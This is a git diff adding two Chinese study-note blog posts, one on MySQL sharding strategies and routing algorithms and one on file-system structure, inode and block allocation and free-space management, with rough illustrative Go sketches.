+一旦数据量朝着千万以上的趋势进行增长,那么再怎么优化数据库,性能依旧是下降的。为了减少数据库的负担提升数据库的性能,缩短查询时间,这个时候就需要分库分表。 + +#### 为什么需要分库? + +容量 +我们给数据库实例分配的磁盘容量是固定的,数据量持续的大幅增长,用不了多久单机的容量就会承载不了这么多数据,解决办法简单粗暴,加容量! + +连接数 +单机的容量可以随意扩展,但数据库的连接数却是有限的,在高并发场景下多个业务同时对一个数据库操作,很容易将连接数耗尽导致 too many connections 报错,导致后续数据库无法正常访问。 +可以通过 max_connections 查看 MySQL 最大连接数。 + +```shell +show variables like '%max_connections%' +``` + +```shell ++------------------------+-------+ +| Variable_name | Value | ++------------------------+-------+ +| max_connections | 151 | +| mysqlx_max_connections | 100 | ++------------------------+-------+ +``` + +将原本单数据库按不同业务拆分成订单库、物流库、积分库等不仅可以有效分摊数据库读写压力,也提高了系统容错性。 + +#### 为什么需要分表? + +数据库查询慢的原因有: +1.SQL 没有使用索引 +2.like 扫描全表 3.函数计算 4.数据量确实太大了 +数据量确实太大了无法通过优化解决。慢的根本原因是:InnoDB 存储引擎,聚簇索引结构的 B+tree 层级变高,磁盘 IO 变多查询性能变慢。 + +> 单表行数超 500 万行或者单表容量超过 2GB,就推荐分库分表.实际上很多公司单表数据几千万、亿级别仍然不选择分库分表。 + +## 3.什么时候分库分表? + +> 分库分表要解决的是现存海量数据访问的性能瓶颈,对持续激增的数据量所做出的架构预见性。 + +是否分库分表的关键指标是数据量? + +系统在运行初始的时候,每天只有可怜的几十个资源上传,这时使用单库、单表的方式足以支持系统的存储,数据量小几乎没什么数据库性能瓶颈。 2.是否是持续激增的数据量。但某天开始一股神秘的流量进入,系统每日产生的资源数据量暴增至十万甚至上百万级别,这时资源表数据量到达千万级,查询响应变得缓慢,数据库的性能瓶颈逐渐显现。以 MySQL 数据库为例,单表的数据量在达到亿条级别,通过加索引、SQL 调优等传统优化策略,性能提升依旧微乎其微时,就可以考虑做分库分表了。 + +既然 MySQL 存储海量数据时会出现性能瓶颈,那么我们是不是可以考虑用其他方案替代它?比如高性能的非关系型数据库 MongoDB? + +可以,但要看存储的数据类型!现在互联网上大部分公司的核心数据几乎是存储在关系型数据库(MySQL、Oracle 等),因为它们有着 NoSQL 如法比拟的稳定性和可靠性,产品成熟生态系统完善,还有核心的事务功能特性,也是其他存储工具不具备的,而评论、点赞这些非核心数据还是可以考虑用 MongoDB 的。 + +## 4.如何分库分表? + +> 分库分表的关键:1.对数据如何进行分片?如何让数据路由到不同的库、不同的库中间的不同的表? +> 分库分表的关键:2.对分片的数据如何进行检索/定位?在不同的库,以及不同的表里面检索定位数据? + +#### 分库与分表的两种方式(水平)或者(纵向)? + +#### 垂直分库和垂直分表? + +垂直分库:**不同的业务数据在不同的数据库里。(用户数据库)(商品数据库)(订单数据库)(卖家数据库)** +垂直分库的好处:**把一个数据库的压力分给了很多数据库。**垂直分库把一个库的压力分摊到多个库,提升了一些数据库性能,但并没有解决由于单表数据量过大导致的性能问题,所以就需要配合后边的分表来解决。 + +垂直分表:**拆分一个表的字段(当这个表的字段很多的时候)**(拆分出来的字段放在另外一个表,然后通过 ID『自增』和被拆分的表进行关联。) +(服务器 1-Mysql-OrederDatabse-OrderTable | 服务器 1-Mysql-OrederDatabse-OrderTableExpansion)『OrderTable 和 OrderTableExpansion 的字段是不一样的』 +垂直分表的好处:**核心表是访问数据量比较大的表,但是因为被拆分后字段变得比较短,加载更多的核心表的数据量(因为 MYSQL 是按照行把数据加载到内存中)** + +#### 水平分库和水平分表? + +上边垂直分库、垂直分表后还是会存在单库、表数据量过大的问题,当我们的应用已经无法在细粒度的垂直切分时,依旧存在单库读写、存储性能瓶颈,这时就要配合水平分库、水平分表一起了。 + +水平分库: +**同样的一个表放到不同的数据库**(很多的数据库里面放着相同的表) +(服务器 1-Mysql-OrederDatabse-OrderTable_1 | 服务器 2-Mysql-OrederDatabse-OrderTable_2) 『OrderTable1 和 OrderTable2 的字段是一样的』 +举个例子: +db_orde_1、db_order_2 两个数据库内有完全相同的 t_order 表访问某个订单的时候可以通过对订单编号取模的方式,决定把这个订单编号存储在哪个数据库。查询订单的时候,就对订单号取模,决定去哪个数据库查询。 + +水平分表: +**同样的一个表放到相同的数据库**(相同的数据库里面放着相同的表) +举个例子: +一个 Order 表:900 万数据,放到该数据库下面的相同的三个表 Order_1、Order_2、Order_3 每个数据表 300 万数据。 +存在的问题: +水平分表尽管拆分了表,但子表都还是在同一个数据库实例中,只是解决了单一表数据量过大的问题,并没有将拆分后的表分散到不同的机器上,还在竞争同一个物理机的 CPU、内存、网络 IO 等。要想进一步提升性能,就需要将拆分后的表分散到不同的数据库中,达到分布式的效果。 + +提问:一个 Orders 表,1 水平分表怎么做?2 水平分库怎么做?3 怎么做? 1.水平分表就是把在一个相同的数据库里面,搞三个 Order_1 、Order_2 、Order_3 这个三个表的字段相同。 2.水平分库就是把在三个数据库里面,搞三个 Orders 、Orders 、Orders 这个三个表的字段相同。 + +提问:一个 Orders 表,1 垂直分表怎么做?2 垂直分库怎么做?3 怎么做? 1.垂直分表就是这个表的字段拆成好多部分,然后在这个数据库下面搞出这几个表:Orders OrdersExpansion1 、OrdersExpansion2、OrdersExpansion3、OrdersExpansion4.... 2.垂直分库就是把在这个 Orders 这个表所在的数据库里,只能存放 Orders 这一个表,其他的表就只能放在其他的数据库。 + +综合来看:一个 Order 表应该这么拆分: + +第一层: DB1 DB2 DB3 +第二层:DB1_Order1 DB2_Order2 DB3_Order3 +第三层:DB1_Order1_table1 DB2_Order2_table2 DB3_Order3_table2 + +## 5.数据存在哪个库的表?(数据库的路由算法) + +分库分表以后会出现一个问题,一张表会出现在多个数据库里,到底该往哪个库的哪个表里存呢? + +上边我们多次提到过一定规则 ,其实这个规则它是一种路由算法,决定了一条数据具体应该存在哪个数据库的哪张表里。 +常见的有 取模算法 、范围限定算法、范围+取模算法 、预定义算法 + +1、取模算法 +**对根据数据库数据表的实例数量进行取模,决定放在哪个数据库或者哪个数据表。后续加表的话就比较困难,但是当某个数据库挂掉,那么所有经过取模打到这个数据的请就就不会的得到响应。** +关键字段取模(对 hash 结果取余数 hash(XXX) mod N),N 为数据库实例数或子表数量)是最为常见的一种路由方式。 +以 t_order 订单表为例,先给数据库从 0 到 N-1 进行编号,对 t_order 订单表中 order_no 订单编号字段进行取模 hash(order_no) mod N,得到余数 i。i=0 存第一个库,i=1 存第二个库,i=2 存第三个库,以此类推。 +优点 +实现简单,数据分布相对比较均匀,不易出现请求都打到一个库上的情况。 +缺点 +取模算法对集群的伸缩支持不太友好,集群中有 N 个数据库实·hash(user_id) mod N,当某一台机器宕机,本应该落在该数据库的请求就无法得到处理,这时宕掉的实例会被踢出集群。 +此时机器数减少算法发生变化 hash(user_id) mod N-1,同一用户数据落在了在不同数据库中,等这台机器恢复,用 user_id 作为条件查询用户数据就会少一部分。 + +2、范围限定算法 + +**根据 Id 的范围把数据决定存到哪个表,比如 table1 只存 0 ~ 1000 的 ID 数据 比如 table2 只存 1000 ~ 2000 的 ID 数据,好处是后续加数据库,那么只需要让 2000 ~ 3000 的数据存到 table3** +范围限定算法以某些范围字段,如时间或 ID 区拆分。 + +用户表 t_user 被拆分成 t_user_1、t_user_2、t_user_3 三张表,后续将 user_id 范围为 1 ~ 1000w 的用户数据放入 t_user_1,1000~ 2000w 放入 t_user_2,2000~3000w 放入 t_user_3,以此类推。按日期范围划分同理。 +优点 +单表数据量是可控的 +水平扩展简单只需增加节点即可,无需对其他分片的数据进行迁移. + +3、范围+取模 +先范围后取模。 +这次我们先通过范围算法定义每个库的用户表 t_user 只存 1000w 数据,第一个 db_order_1 库存放 userId 从 1 ~ 1000w,第二个库 1000~2000w,第三个库 2000~3000w,以此类推。 +每个库里再把用户表 t_user 拆分成 t_user_1、t_user_2、t_user_3 等,对 userd 进行取模路由到对应的表中。有效的避免数据分布不均匀的问题,数据库水平扩展也简单,直接添加实例无需迁移历史数据。 + +4、地理位置分片 +地理位置分片其实是一个更大的范围,按城市或者地域划分,比如华东、华北数据放在不同的分片库、表。 + +5、预定义算法 +预定义算法是事先已经明确知道分库和分表的数量,可以直接将某类数据路由到指定库或表中,查询的时候亦是如此。 + +## 6.分库分表出来的问题 + +分页、排序、跨节点联合查询 + +分页、排序、联合查询,这些看似普通,开发中使用频率较高的操作,在分库分表后却是让人非常头疼的问题。把分散在不同库中表的数据查询出来,再将所有结果进行汇总合并整理后提供给用户。比如:我们要查询 11、12 月的订单数据,如果两个月的数据是分散到了不同的数据库实例,则要查询两个数据库相关的数据,在对数据合并排序、分页,过程繁琐复杂。 + +事务一致性 + +分库分表后由于表分布在不同库中,不可避免会带来跨库事务问题。后续会分别以阿里的 Seata 和 MySQL 的 XA 协议实现分布式事务,用来比较各自的优势与不足。 + +全局唯一的主键 +分库分表后数据库表的主键 ID 业务意义就不大了,因为无法在标识唯一一条记录,例如:多张表 t_order_1、t_order_2 的主键 ID 全部从 1 开始会重复,此时我们需要主动为一条记录分配一个 ID,这个全局唯一的 ID 就叫分布式 ID,发放这个 ID 的系统通常被叫发号器。 + +多数据库高效治理 + +对多个数据库以及库内大量分片表的高效治理,是非常有必要,因为像某宝这种大厂一次大促下来,订单表可能会被拆分成成千上万个 t_order_n 表,如果没有高效的管理方案,手动建表、排查问题是一件很恐怖的事。 + +历史数据迁移 +分库分表架构落地以后,首要的问题就是如何平滑的迁移历史数据,增量数据和全量数据迁移,这又是一个比较麻烦的事情 + +## 7.分库分表架构模式 + +分库分表架构主要有两种模式:client 客户端模式和 proxy 代理模式 + +客户模式 +client 模式指分库分表的逻辑都在的系统应用内部进行控制,应用会将拆分后的 SQL 直连多个数据库进行操作,然后本地进行数据的合并汇总等操作。 + +代理模式 +proxy 代理模式将应用程序与 MySQL 数据库隔离,业务方的应用不在需要直连数据库,而是连接 proxy 代理服务,代理服务实现了 MySQL 的协议,对业务方来说代理服务就是数据库,它会将 SQL 分发到具体的数据库进行执行,并返回结果。该服务内有分库分表的配置,根据配置自动创建分片表。 + +## 8.如何抉择? + +如何选择 client 模式和 proxy 模式,我们可以从以下几个方面来简单做下比较。 + +1、性能 +性能方面 client 模式表现的稍好一些,它是直接连接 MySQL 执行命令;proxy 代理服务则将整个执行链路延长了,应用->代理服务->MySQL,可能导致性能有一些损耗,但两者差距并不是非常大。 + +2、复杂度 +client 模式在开发使用通常引入一个 jar 可以;proxy 代理模式则需要搭建单独的服务,有一定的维护成本,既然是服务那么就要考虑高可用,毕竟应用的所有 SQL 都要通过它转发至 MySQL。 + +3、升级 +client 模式分库分表一般是依赖基础架构团队的 Jar 包,一旦有版本升级或者 Bug 修改,所有应用到的项目都要跟着升级。小规模的团队服务少升级问题不大,如果是大公司服务规模大,且涉及到跨多部门,那么升级一次成本就比较高; +proxy 模式在升级方面优势很明显,发布新功能或者修复 Bug,只要重新部署代理服务集群即可,业务方是无感知的,但要保证发布过程中服务的可用性。 + +4、治理、监控 +client 模式由于是内嵌在应用内,应用集群部署不太方便统一处理;proxy 模式在对 SQL 限流、读写权限控制、监控、告警等服务治理方面更优雅一些。 diff --git a/_posts/2022-11-23-test-markdown.md b/_posts/2022-11-23-test-markdown.md new file mode 100644 index 000000000000..2ae82f1d619f --- /dev/null +++ b/_posts/2022-11-23-test-markdown.md @@ -0,0 +1,632 @@ +--- +layout: post +title: 文件系统? +subtitle: +tags: [文件系统] +--- + +# 文件系统 + +## 1.文件系统的组成? + +文件系统 = **操作系统的子系统**=**1.负责把用户文件放到硬盘**(放到硬盘的数据不会丢失,所以可以持久化的保存数据。)**2.管理放到磁盘上面的所有文件**(管理方式『组织文件的方式』不同,所以文件系统也就不同) + +文件系统的基本数据单位? +文件系统的基本数据单位是:“文件”,Linux 最经典的⼀句话是:「⼀切皆⽂件」,不仅普通的⽂件和⽬录,就连块设备、管道、socket 等,也都是统⼀交给⽂件系统管理的。 + +文件系统的基本操作单位? +⽂件系统的基本操作单位是数据块。 + +Linux 文件系统管理(磁盘中)文件的方式? +Linux 文件系统为每个文件分配两个数据结构:**1.索引节点『IndexNode』** ,**2.目录项『Dicrectory entry』**。索引节点记录文件的元信息,目录项目记录文件的层次结构 + +- 索引节点『IndexNode』: IndexNode 用来记录文件的元信息,比如有编号,文件大小,访问权限,创建时间,修改时间,数据在磁盘上面的位置,索引节点是文件的唯一标志符,索引节点同样被存储在磁盘当中(占据磁盘空间)。 +- 目录项『Dicrectory entry』: 用来记录文件的名字,索引节点指针,以及与其他目录项的层级关联关系。多个目录项目关联起来就是目录结构,但他和索引节点不同的是,它缓存在内存中间,由内核维护的一个数据结构。 + +```go + +// 超级块区 存储文件系统的详细信息。块个数,块大小,空闲块 ,在文件系统挂载的时候进入内存 +type SuperBlock struct{ + // 块个数 + BlockNum int + // 块大小 + BlockSize int + // 空闲块 + SpareBlock int +} + +// 数据块 一个索引节点指向一个数据块 +type DataBlock struct{ + // 数据块的位置 + StartLocation int + EndLocation int +} + +// 当文件被访问的时候加载进内存 +type IndexNodeBlock struct{ + ID int + // 创建时间 + CreateTime time.Time + // 修改时间 + UpdateTime time.Time + // 文件大小 + FileSize int + // 访问权限 + Priviledge string + DataBlock *DataBlock + +} + +type Dicrectory struct{ + Nodes []*IndexNodeBlock + // 一个目录下面可以有多个节点,所以这里是切片 + Son []*Dicrectory + SonNum int +} + +``` + +- **一个索引节点存储着一个数据块,一个目录项又存储着多个索引节点。** +- 索引节点和数据块都在磁盘(硬盘)中,但是目录项是存储在内存中的。 +- 为了查找数据更加的快速,有时由会把索引节点也从硬盘中间加再到内存中。 +- 磁盘在格式化的时候,会分成三个存储区域:1.超级块。2.索引节点区 3.数据区 +- 超级块:文件系统挂载进入内存,索引节点块:当文件被访问的时候进入内存。 + +## 2.虚拟系统? + +文件系统由很多,但是操作系统希望可以有一个统一的文件接口,不管什么样的文件系统都可以被操作系统使用,于是,就有了虚拟文件系统 VFS。 + +```go +type VitualFileSystem interface{ + Schedule() +} +// 磁盘文件系统 +type DiskFileSystem struct{ + Buffer *Buffer +} + +func (c *ConcreteFileSystem) Schedule(){ + +} + +// 内存文件系统 +type InMemoryFileSystem struct{ + Buffer *Buffer +} + +func (i *InMemoryFileSystem ) Schedule(){ + +} + +// 网络文件系统 +type NetworkFileSystem struct{ + Buffer *Buffer +} + +func (n *NetworkFileSystem) Schedule(){ + +} + +type Buffer struct{ + +} + +``` + +Linux ⽀持的⽂件系统也不少,根据存储位置的不同,可以把⽂件系统分为三类: + +- 1.磁盘的⽂件系统,它是直接把数据存储在磁盘中,⽐如 Ext 2/3/4、XFS 等都是这类⽂件系统。 +- 2.内存的⽂件系统,这类⽂件系统的数据不是存储在硬盘的,⽽是占⽤内存空间,我们经常⽤到的 /proc 和 /sys ⽂件系统都属于这⼀类,读写这类⽂件,实际上是读写内核中相关的数据。 +- 3.⽹络的⽂件系统,⽤来访问其他计算机主机数据的⽂件系统,⽐如 NFS、SMB 等等。 + > ⽂件系统⾸先要先挂载到某个⽬录才可以正常使⽤,⽐如 Linux 系统在启动时,会把⽂件系统挂载到根⽬录。 + > Linux 在启动的时候,会把文件系统挂载到根目录 + +## 3.文件的使用? + +```go +type FILE struct{ + +} + +func OpenFile(filename string)*FILE{ + +} + +// 写⽂件 +func WriteFile(f *FILE,path string){ + // +} + +// 读⽂件 +func ReadFile(f *FILE){ + // +} + +// 关闭⽂件 +func CloseFile(f *FILE){ + // +} + + +``` + +1.⾸先⽤ open 系统调⽤打开⽂件, open 的参数中包含⽂件的路径名和⽂件名。2.使⽤ write 写数据,其中 write 使⽤ open 所返回的⽂件描述符,并不使⽤⽂件名作为参数。3.使⽤完⽂件后,要⽤ close 系统调⽤关闭⽂件,避免资源的泄露 + +操作系统如何跟踪某个进程打开的文件? + +我们打开了⼀个⽂件后,操作系统会跟踪进程打开的所有⽂件,所谓的跟踪呢,就是操作系统为每个进程**维护⼀个打开⽂件表**,⽂件表⾥的每⼀项代表「⽂件描述符」,所以说⽂件描述符是打开⽂件的标识。 + +```go +type Process struct{ + FILEsOPenedTable *FILEsOPenedTable +} + +type FILEsOPenedTable struct{ + FILEsOPened []*FILE +} + +type FILE struct{ + // 这个文件指针每被使用一次,就加1,标志这个文件被多少个进程打开,只有当这个Counter==0的时候,才能执行关闭文件,释放资源的函数 + Counter int + // 文件的磁盘位置 + Location int + // 这个文件允许的操作 + Priviledge int +} +// 写⽂件 +func (f *FILE) WriteFile(path string){ +} + +// 读⽂件 +func (f *FILE) ReadFile(){ + +} + +// 关闭⽂件 +func (f *FILE) CloseFile(){ + if f.Counter ==0{ + // + } +} + +``` + +操作系统在打开⽂件表中维护着打开⽂件的状态和信息: + +- ⽂件指针:系统跟踪上次读写位置作为当前⽂件位置指针,这种指针对打开⽂件的某个进程来说是唯⼀的; +- ⽂件打开计数器:⽂件关闭时,操作系统必须重⽤其打开⽂件表条⽬,否则表内空间不够⽤。因为多个进程可能打开同⼀个⽂件,所以系统在删除打开⽂件条⽬之前,必须等待最后⼀个进程关闭⽂件,该计数器跟踪打开和关闭的数量,当该计数为 0 时,系统关闭⽂件,删除该条⽬; +- ⽂件磁盘位置:绝⼤多数⽂件操作都要求系统修改⽂件数据,该信息保存在内存中,以免每个操作都从磁盘中读取; +- 访问权限:每个进程打开⽂件都需要有⼀个访问模式(创建、只读、读写、添加等),该信息保存在进程的打开⽂件表中,以便操作系统能允许或拒绝之后的 I/O 请求; + +操作系统的视⻆是如何把⽂件数据和磁盘块对应起来? +⽤户和操作系统对⽂件的读写操作是有差异的,⽤户习惯以字节的⽅式读写⽂件,⽽操作系统则是以数据块来读写⽂件,那屏蔽掉这种差异的⼯作就是⽂件系统了。 + +我们来分别看⼀下,读⽂件和写⽂件的过程? +读取文件:“当用户进程读取一个字节大小的数据的时候,文件系统则需要获取到字节所对应的数据块,在返回数据块对应的数据部分” +写文件:用户进程把写一个字节大小的数据写进文件的时候,文件找到需要写入数据的数据块的位置,然后修改数据块的数据部分,最后把数据写回磁盘。 + +## 4.文件的存储? + +⽂件的数据是要存储在硬盘上⾯的,数据在磁盘上的存放⽅式,就像程序在内存中存放的⽅式那样,有以下两种: + +- 1.连续空间存放⽅式 +- 2.⾮连续空间存放⽅式 + 其中,⾮连续空间存放⽅式⼜可以分为「链表⽅式」和「索引⽅式」。 + +### 『连续空间存储』 + +> 前提是知道文件的大小(文件头通过起始的位置和长度)注意,此处说的⽂件头,就类似于 Linux 的 inode。 + +```go +type FileHead struct{ + StartIndex int + Legth int +} +``` + +> 连续空间存放⽅式顾名思义,⽂件存放在磁盘「连续的」物理空间中。这种模式下,⽂件的数据都是紧密相连,读写效率很⾼,因为⼀次磁盘寻道就可以读出整个⽂件。 + +使⽤连续存放的⽅式有⼀个前提,必须先知道⼀个⽂件的⼤⼩,这样⽂件系统才会根据⽂件 +的⼤⼩在磁盘上找到⼀块连续的空间分配给⽂件。 + +所以,⽂件头⾥需要指定「起始块的位置」和「⻓度」,有了这两个信息就可以很好的表示 +⽂件存放⽅式是⼀块连续的磁盘空间。 + +> 缺陷 1:「磁盘空间碎⽚」 +> 连续空间存放的⽅式虽然读写效率⾼,但是有「磁盘空间碎⽚」和「⽂件⻓度不易扩展」的缺陷。 +> 如下图,如果⽂件 B 被删除,磁盘上就留下⼀块空缺,这时,如果新来的⽂件⼩于其中的⼀个空缺,我们就可以将其放在相应空缺⾥。但如果该⽂件的⼤⼩⼤于所有的空缺,但却⼩于空缺⼤⼩之和,则虽然磁盘上有⾜够的空缺,但该⽂件还是不能存放。当然了,我们可以通过将现有⽂件进⾏挪动来腾出空间以容纳新的⽂件,但是这个在磁盘挪动⽂件是⾮常耗时,所以这种⽅式不太现实。 +> 「⽂件⻓度不易扩展」 +> 另外⼀个缺陷是⽂件⻓度扩展不⽅便,例如上图中的⽂件 A 要想扩⼤⼀下,需要更多的磁盘空间,唯⼀的办法就只能是挪动的⽅式,前⾯也说了,这种⽅式效率是⾮常低的。 + +```go +type Disk struct{ + Data []int +} + +func (d *Disk)DeleteFile(start int ,end int){ + for i:=start ;i<=end ;i++{ + d.Data[i]=0 + } +} +``` + +### 『非连续空间存储』 + +⾮连续空间存放⽅式分为「链表⽅式」和「索引⽅式」。 + +> 「链表⽅式」-隐式链接 +> ⽂件要以「隐式链表」的⽅式存放的话,实现的⽅式是⽂件头要包含「第⼀块」和「最后⼀块」的位置,并且每个数据块⾥⾯留出⼀个指针空间,⽤来存放下⼀个数据块的位置,这样⼀个数据块连着⼀个数据块,从链头开是就可以顺着指针找到所有的数据块,所以存放的⽅式可以是不连续的。隐式链表的存放⽅式的缺点在于⽆法直接访问数据块,只能通过指针顺序访问⽂件,以及数据块指针消耗了⼀定的存储空间。隐式链接分配的稳定性较差,系统在运⾏过程中由于软件或者硬件错误导致链表中的指针丢失或损坏,会导致⽂件数据的丢失。 + +Tips:隐式链接是每个数据块存放下一个数据块的位置。 + +> 「链表⽅式」-显式链接 +> 对于显式链接的⼯作⽅式,我们举个例⼦,⽂件 A 依次使⽤了磁盘块 4、7、2、10 和 12 ,⽂件 B 依次使⽤了磁盘块 6、3、11 和 14 。利⽤下图中的表,可以从第 4 块开始,顺着链⾛到最后,找到⽂件 A 的全部磁盘块。同样,从第 6 块开始,顺着链⾛到最后,也能够找出⽂件 B 的全部磁盘块最后,这两个链都以⼀个不属于有效磁盘编号的特殊标记(如 -1 )结束。内存中的这样⼀个表格称为⽂件分配表(File Allocation Table , FAT)。 + +> 「索引⽅式」 +> 链表的⽅式解决了连续分配的磁盘碎⽚和⽂件动态扩展的问题,但是不能有效⽀持直接访问 FAT 除外),索引的⽅式可以解决这个问题。索引的实现是为每个⽂件创建⼀个「索引数据块」,⾥⾯存放的是指向⽂件数据块的指针列表,说⽩了就像书的⽬录⼀样,要找哪个章节的内容,看⽬录查就可以。⽂件头需要包含指向「索引数据块」的指针切片,这样就可以通过⽂件头知道所有数据块的位置,再通过具体的数据块指针,找到具体的数据块。 + +```go +type FILE struct{ + Head FileHead +} + +type FileHead struct{ + // locations 存储的是 DataBlock 在Disk中间的下标 + Locations []int +} + +type DataBlock struct{ + IDataContent string +} +// 模拟物理磁盘中按照数据块存储数据 +type Disk struct{ + DataBlocks []DataBlock +} +``` + +Tips:因为从文件头可以知道所有的数据块在 Disk 的位置,所以可以直接 Disk.DataBlocks[i]的方式直接获取到文件 + +- ⽂件的创建、增⼤、缩⼩很⽅便 +- 不会有碎⽚的问题 +- ⽀持顺序读写和随机读写; +- 由于索引数据也是存放在磁盘块的,如果⽂件很⼩,只需⼀块就可以存放的下,但还是需要额外分配⼀块来存放索引数据,所以缺陷之⼀就是存储索引带来的开销。 + +```go +func (f *FILE) AddFile(index int){ + f.Head.Locations=append(f.Head.Locations,index) +} +``` + +如何通过组合的方式处理大文件的存放? + +如果⽂件很⼤,⼤到⼀个索引数据块放不下索引信息,这时⼜要如何处理⼤⽂件的存放呢?我们可以通过组合的⽅式,来处理⼤⽂件的存储。 + +> 「链式索引』 +> 先来看看链表 + 索引的组合,这种组合称为「链式索引块」,它的实现⽅式是在索引数据块留出⼀个存放下⼀个索引数据块的指针。于是当⼀个索引数据块的索引信息⽤完了,就可以通过指针的⽅式,找到下⼀个索引数据块的信息。那这种⽅式也会出现前⾯提到的链表⽅式的问题,万⼀某个指针损坏了,后⾯的数据也就会⽆法读取了。 + +```go +type FILE struct{ + Head FileHead +} + +type FileHead struct{ + // locations 存储的是 DataBlock 在Disk中间的下标 + Locations []Location +} + +type Location struct{ + Index int + Next int +} + +type DataBlock struct{ + IDataContent string +} +// 模拟物理磁盘中按照数据块存储数据 +type Disk struct{ + DataBlocks []DataBlock +} + +``` + +> 索引 + 索引的⽅式,这种组合称为「多级索引块』 + +『Unix ⽂件的实现⽅式』 +文件实现方式对比: + +顺序分配: + +- 访问磁盘一次。顺序分配存取速度块,当文件式定长的时候,可以根据文件的起始地址和长度进行随机访问。连续的物理存储空间。所有的数据块可以一次性返回读出 + +链表分配: + +- 访问磁盘 n 次。因为每次访问一个数据块,所以返回一个数据块,并且每次只能知道下一个数据块的位置,其他的数据块的位置是不知道的。 + +索引分配: + +- M 级需要访问磁盘 m+1 次,因为每次的每一个级可以读出所有的数据。 + +那早期 Unix ⽂件系统是组合了前⾯的⽂件存放⽅式的优点它是根据⽂件的⼤⼩,存放的⽅式会有所变化: + +```go + +type FILEIndexNode struct { + NodesLevel []IndexNodes +} + +type IndexNodes struct { + Indexs []int + Next *IndexNodes +} + +func Test() { + var nodes FILEIndexNode + nodes = FILEIndexNode{} + nodes.NodesLevel = make([]IndexNodes, 4) + nodes.NodesLevel[0] = IndexNodes{ + Indexs: []int{1, 2, 3, 4, 5, 6, 7}, + Next:nil, + } + nodes.NodesLevel[1] = IndexNodes{ + Next: &IndexNodes{ + Indexs: []int{ + 1, 2, 3, 4, 5, 6, 7, 8, + }, + }, + } + + nodes.NodesLevel[2] = IndexNodes{ + Next: &IndexNodes{ + Next: &IndexNodes{ + Indexs: []int{ + 1, 2, 3, 4, 5, 6, + }, + }, + }, + } + + nodes.NodesLevel[3] = IndexNodes{ + Next: &IndexNodes{ + Next: &IndexNodes{ + Next: &IndexNodes{ + Indexs: []int{ + 1, 2, 3, 4, 5, 6, + }, + }, + }, + }, + } +} + +``` + +- 如果存放⽂件所需的数据块⼩于 10 块,则采⽤直接查找的⽅式; +- 如果存放⽂件所需的数据块超过 10 块,则采⽤⼀级间接索引⽅式; +- 如果前⾯两种⽅式都不够存放⼤⽂件,则采⽤⼆级间接索引⽅式; +- 如果⼆级间接索引也不够存放⼤⽂件,这采⽤三级间接索引⽅式; + +所以,这种⽅式能很灵活地⽀持⼩⽂件和⼤⽂件的存放:对于⼩⽂件使⽤直接查找的⽅式可减少索引数据块的开销;对于⼤⽂件则以多级索引的⽅式来⽀持,所以⼤⽂件在访问数据块时需要⼤量查询;这个⽅案就⽤在了 Linux Ext 2/3 ⽂件系统⾥,虽然解决⼤⽂件的存储,但是对于⼤⽂件的访 +问,需要⼤量的查询,效率⽐较低。 + +## 5.文件的空闲空间的管理? + +> 简单来说,空闲空间的管理,就是决定如何把一个新的数据存放在硬盘的某个位置。 + +前⾯说到的⽂件的存储是针对已经被占⽤的数据块组织和管理,接下来的问题是,如果我要保存⼀个数据块,我应该放在硬盘上的哪个位置呢?难道需要将所有的块扫描⼀遍,找个空的地⽅随便放吗?那这种⽅式效率就太低了,所以针对磁盘的空闲空间也是要引⼊管理的机制,接下来介绍⼏种常⻅的⽅法: + +- 空闲表法 +- 空闲链表法 +- 位图法 + +### 『空闲表』 + +> 空闲表法 +> 空闲表法就是为所有空闲空间建⽴⼀张表,表内容包括空闲区的第⼀个块号和该空闲区的块个数,注意,这个⽅式是连续分配的。如下代码所展示: + +```go +type DisengagedBlockTable struct{ + Blocks []ItemBlock +} + +type ItemBlock struct{ + StartBlockIndex int + Legth int +} +``` + +当请求分配磁盘空间时,系统依次扫描空闲表⾥的内容,直到找到⼀个合适的空闲区域为⽌。当⽤户撤销⼀个⽂件时,系统回收⽂件空间。这时,也需顺序扫描空闲表,寻找⼀个空闲表条⽬并将释放空间的第⼀个物理块号及它占⽤的块数填到这个条⽬中。这种⽅法仅当有少量的空闲区时才有较好的效果。因为,如果存储空间中有着⼤量的⼩的空闲区,则空闲表变得很⼤,这样查询效率会很低。另外,这种分配技术适⽤于建⽴连续⽂件。 + +### 『空闲链』 + +> 空闲链表法 +> 空闲链表法我们也可以使⽤「链表」的⽅式来管理空闲空间,每⼀个空闲块⾥有⼀个指针指向下⼀个空闲块,这样也能很⽅便的找到空闲块并管理起来。如下代码所示:当创建⽂件需要⼀块或⼏块时,就从链头上依次取下⼀块或⼏块。反之,当回收空间时,把这些空闲块依次接到链头上。 + +```go + +type DisengagedBlockTable struct { + List *list.List +} + +type Item struct { + Index int +} + +func NewDisengagedBlockTable() *DisengagedBlockTable { + return &DisengagedBlockTable{ + List: list.New(), + } +} + +func (d *DisengagedBlockTable) Add(item *Item) { + d.List.PushFront(item) +} + +func (d *DisengagedBlockTable) Pop(num int) []*Item { + if d.List.Len() >num { + result := []*Item{} + for i:=0;i 位图法 + +位图是利⽤⼆进制的⼀位来表示磁盘中⼀个盘块的使⽤情况,磁盘上所有的盘块都有⼀个⼆进制位与之对应。当值为 0 时,表示对应的盘块空闲,值为 1 时,表示对应的盘块已分配。它形式如下: + +```shell +1111110011111110001110110111111100111 ... +``` + +在 Linux ⽂件系统就采⽤了位图的⽅式来管理空闲空间,不仅⽤于数据空闲块的管理,还⽤于 inode 空闲块的管理,因为 inode 也是存储在磁盘的,⾃然也要有对其管理。 + +## 6.文件系统的结构? + +前⾯提到 Linux 是⽤位图的⽅式管理空闲空间,⽤户在创建⼀个新⽂件时,Linux 内核会通过 inode 的位图找到空闲可⽤的 inode,并进⾏分配。要存储数据时,会通过块的位图找到空闲的块,并分配,但仔细计算⼀下还是有问题的。 + +1.数据块的位图是放在磁盘块⾥的。 2.如果数据块放在一个磁盘块里面,一个磁盘块 4K 那么最大只能存储 4* 1024* 8= 2^15 个空闲块 由于 1 个数据块是 4K ⼤⼩,那么最⼤可以表示的空间为 2^15 _ 4 _ 1024 = 2^27 个 byte,也就是 128M。 +也就是说按照上⾯的结构,如果采⽤「⼀个块的位图 + ⼀系列的块」,外加「⼀个块的 inode 的位图 + ⼀系列的 inode 的结构」能表示的最⼤空间也就 128M,这太少了现在很多⽂件都⽐这个⼤。 +在 Linux ⽂件系统,把这个结构称为⼀个块组,那么有 N 多的块组,就能够表示 N ⼤的⽂件。下图给出了 Linux Ext2 整个⽂件系统的结构和块组的内容,⽂件系统都由⼤量块组组成,在硬盘上相继排布: + +引导块--块组 1--块组 1--块组 2 --块组 n + +> Innode 是索引节点 +> 